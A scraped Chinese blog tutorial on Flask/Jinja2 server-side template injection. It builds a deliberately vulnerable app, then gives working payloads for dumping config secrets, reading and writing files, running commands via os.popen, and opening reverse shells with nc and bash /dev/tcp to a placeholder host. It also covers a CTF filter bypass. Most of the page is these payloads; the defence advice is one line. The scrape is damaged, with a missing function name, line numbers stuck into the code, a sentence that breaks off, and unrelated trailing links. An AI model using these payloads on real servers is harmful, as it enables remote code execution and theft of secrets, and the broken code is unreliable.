0x00 前言

服务端模板注入(SSTI)攻击,可以看看James Kettle写的这篇文章。

flask出现模板注入原因主要还是因为使用了render_template_string函数

0x01 环境搭建

test.py1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19from flask import Flask,render_template,config,render_template_string,request

from Config import Config

app = Flask(__name__)

app.config['SECRET_KEY'] = "flag{SSTI_123456}"

@app.errorhandler(404)

def (e):

template = '''

Oops! That page doesn't exist.

%s

''' %(request.url)

return render_template_string(template)

if __name__=='__main__':`

app.run('0.0.0.0',9999,debug=True)

0x02 检测注入1

2http://localhost:8888/{{ 7*7 }}

#http://localhost:8888/%7B%7B7*7%7D%7D

导出config变量1http://localhost:8888/{{config.items()}}

导出类1http://localhost:8888/{{''.__class__.__mro__[2].__subclasses__()}}

0x03 漏洞利用python2 和python3 有不同,这里测试的是python2,python3的类每次位置会变

文件操作

能够执行代码,就能够完成很多事情,接下来,我们将写入一个webshell。之后的知识涉及沙箱逃逸和反弹shell

python2:1

2

3

4#写

{{ ''.__class__.__mro__[2].__subclasses__()[40]('D:flag', 'w').write('1234123') }}

#读

{{ ''.__class__.__mro__[2].__subclasses__()[40]('D:flag').read() }}

执行命令1

2

3

4

5

6

7

8''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__

下有eval,__import__等的全局函数,可以利用此来执行命令:

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")

#__import__

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

反弹shell1

2

3

4

5

6

7

8

9

10

11

12# 写入文件

payload 1 ::

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aCMD = system') }}

payload 2 ::

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from subprocess import check_output%0aRUNCMD=check_output') }}

# 利用 config.from_pyfile 加载文件

{{ config.from_pyfile('/tmp/shaobao') }}

# 反弹shell ; 提供两种方法;对应上的两个文件

payload1 ::

{{ config['CMD']('nc xxxxxx 5555 -e /bin/sh') }}

payload2 ::

{{ config['RUNCMD']('bash -i >& /dev/tcp/xxxx/5555 0>&1',shell=True) }}

如果过滤了’(‘,’)’,例如TokyoWesterns CTF 4th 2018 - Shrine1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21import flask

import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')

def index():

return open(__file__).read()

@app.route('/shrine/')

def shrine(shrine):

def safe_jinja(s):

s = s.replace('(', '').replace(')', '')

blacklist = ['config', 'self']

return '

'.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s

return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':

app.run(debug=True)1

2

3

4

5def __repr__(self):

top = _app_ctx_stack.top

if top is not None:

return '' % top.app.name

return object.__repr__(self)

payload:

g.__repr__.__func__.__globals__._app_ctx_stack.top.app.name.config

该func属性将为我们提供由方法运行的函数(方法是一个函数加上它所属的类的引用,我认为

0x05 防范与总结不提倡使用 render_template_string()

一般开发者都会将模板内容写入固定文件夹templates规范模板渲染,按照Jinja2的官方文档

Referer

flask jinja2 mysql_flask/jinja2 SSTI注入学习相关推荐

  1. Flask服务端模板(Jinja2) SSTI 注入漏洞

    漏洞简介 flask/ssti漏洞,即: Flask(Jinja2) 服务端模板注入漏洞(SSTI).Flask 是一个使用 Python 编写的轻量级 Web 应用框架,Flask 为你提供工具,库 ...

  2. Flask框架基础Jinja2模板

    Flask框架基础Jinja2模板-- 潘登同学的flask学习笔记 文章目录 Flask框架基础Jinja2模板-- 潘登同学的flask学习笔记 return 模板 Template 模板的使用 ...

  3. Web框架——Flask系列之Jinja2模板引擎(二)

    Jinja2模板引擎简介 一.Jinja2模板概述 用来展示数据的html页面,这个过程也通常称为渲染,属于Jinja2的功能 使用模板的好处: 视图函数只负责业务逻辑和数据处理(业务逻辑方面) 而模 ...

  4. Flask 中的Jinja2模板引擎

    Flask 中的Jinja2模板引擎 在 Web 项目中,前端的显示效果是通过 HTML 语言来实现的,后端的视图函数将数据或模板文件返回给前端. 前端接收到后端返回的结果后,需要通过模板引擎来渲染页 ...

  5. Flask框架二 Jinja2

    1.简介: 什么是Jinja2,Jinja2起什么作用 Jinja2是Python下一个被广泛应用的模版引擎,且它自带一个感觉挺nb的转义功能 作用1.它起了让前端和后端分离的作用 2.减少了Flas ...

  6. Flask框架及jinja2引擎模版

    什么是Flask框架? Flask是一个使用 Python 编写的轻量级 Web 应用框架. 导入Flask类: from flask import Flask #实例化一个Flask对象, # __ ...

  7. SQL注入学习part07:(SQL注入语句总结)

    写在前面: 此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) SQL注入学习part07 整数型和字符型 整数型 字符型 ...

  8. SQL注入学习part06:(结合sqli-libs学习:51-61关)

    写在前面: 此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) SQL注入学习part06 第五十一关 第五十二关 第五十三 ...

  9. SQL注入学习part05:(结合sqli-libs学习:41-50关)

    写在前面: 此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出.欢迎各位前来交流.(部分材料来源网络,若有侵权,立即删除) SQL注入学习part05 第四十一关 第四十二关 第四十三 ...

最新文章

  1. Point-to Analysis指针分析(1)
  2. 北京站售票人员倒票视频
  3. html5中加亮文本,html实现高亮关键字
  4. 如果项目中如何添加或卸载某些组件
  5. kettle怎么复制资源库的job_#linux系统下调度数据库类型资源库中的kettle job
  6. 面向对象设计的六大原则简介
  7. 信贷中的SAS,一份关于它的系统性内容|含案例
  8. .html与.htm为网页后缀的区别
  9. 使用opencv中函数实现基于Harris算法的图像角点检测
  10. Flutter从零到∞学习笔记
  11. 计算机不能报名系统软件,电脑无法安装税控系统、国税申报软件,怎么回事
  12. 深圳市高级工商管理研究会成立大会成功召开
  13. 【实验五 一维数组】7-6 sdut- C语言实验-数日子
  14. mysql内存会持续上涨,每天增加一点,一直到100%
  15. 结合脚本跳过网盘限速,带宽拉满
  16. 改进的booth编码实例
  17. LED阵列PCB灯板绘制
  18. 身份证实名认证-身份实名认证-身份证核验
  19. Java实现简单画图工具
  20. ROP Emporium做题记录Challenge1-5(x86)

热门文章

  1. Ubuntu 安装 QQ
  2. SpringCloud教程- 断路器(Hystrix)(SpringCloud版本Finchley)
  3. go的25个关键字(保留字)和36个预定标识符
  4. yumdownloader和 repotrack下载rpm包
  5. mapreduce运行模式
  6. hbase读写流程及缓存机制
  7. openresty获取nginx 请求方法
  8. java 钩子_java中钩子方法的概念
  9. 基于 abp vNext 和 .NET Core 开发博客项目 - 给项目瘦身,让它跑起来
  10. Windows服务安装卸载